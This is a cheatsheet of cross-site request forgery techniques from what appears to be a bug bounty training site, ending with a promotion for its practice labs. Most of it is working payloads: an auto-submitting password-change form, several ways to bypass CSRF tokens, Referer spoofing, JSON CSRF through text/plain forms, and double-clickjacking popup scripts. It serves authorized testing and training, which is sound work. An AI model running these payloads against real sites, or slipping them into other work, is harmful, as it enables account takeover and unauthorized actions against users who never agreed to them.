CSRF Cheatsheet

Cross-Site Request Forgery

Quick reference

  • Always try removing the CSRF token entirely before hunting for bypasses
  • Switching the POST method to GET can evade token verification
  • Double-Clickjacking via popup bypasses X-Frame-Options because it uses no iframes
  • For JSON CSRF, try enctype="text/plain" in HTML forms
  • Look for CSRF in: email/password change, account deletion, transactions, permission changes

CSRF token bypass

Remove the token entirelyThe server may not verify the token if it isn't sent

<form method="POST" action="https://target.com/change_password" id="csrf-form">
<input type="text" name="new_password" value="hacked">
<input type="submit" value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>

Empty tokenSome backends accept an empty token

<input type="text" name="csrf_token" value="">

Reuse a token from another sessionIf tokens aren't bound to the session

<input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b">

Change the HTTP methodThe POST endpoint may accept GET without a token

GET /password_change?new_password=abc123

Double Submit Cookie bypass

Same fake value in cookie and bodyIf it only compares cookie vs body without validating the value

Cookie: csrf_token=not_a_real_token
Body: csrf_token=not_a_real_token

Subdomain cookie injectionXSS on a subdomain lets you inject a cookie for the parent domain

document.cookie="csrf_token=fake; domain=.target.com"

Referer/Origin bypass

Strip Referer with a meta tag

<meta name="referrer" content="no-referrer">

Spoof Referer with a subdomain

Referer: https://target.com.attacker.com

History pushState for OriginManipulates the displayed URL without navigating

<script>history.pushState('', '', '/')</script>

CSRF in JSON requests

JSON via form with enctype text/plainThe input name + value form valid JSON

<form method="POST" action="https://target.com/api/phone.json" enctype="text/plain">
<input type="hidden" name='{"phone":"01111111118","a":"' value='"}'>
</form>

Change Content-Type to urlencodedThe backend may accept multiple Content-Types

Content-Type: application/x-www-form-urlencoded
Body: phone=01111111118

Content-Type text/plain

Content-Type: text/plain
Body: {"phone":"01111111118"}

Double-Clickjacking via popup

Popup cursor trackingMoves the popup so the button stays under the cursor

w = window.open("/popup", "", "width=500,height=300");
w.onload = () => {
  button = w.document.querySelector("button").getBoundingClientRect();
  onmousemove = (e) => {
    w.moveTo(e.screenX - button.x - button.width/2, e.screenY - button.y - button.height/2);
  };
};

Popunder via invalid protocolRefocuses the main window while the popup loads in the background

window.open("https://target.com/oauth#btn", "popup");
window.open("invalid://", "main_window");

Hash-based focus to press a buttonThe browser focuses the element with that ID — Space presses it

window.open("https://target.com/authorize#authorize-btn", "popup");

Tools

Burp Suite CSRF PoC Generator

Auto-generates HTML PoC for any intercepted request

Burp Suite > Right click request > Engagement Tools > Generate CSRF PoC

XSRFProbe

Automated CSRF auditor that detects weak tokens and bypasses

python3 xsrfprobe.py -u https://target.com/

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime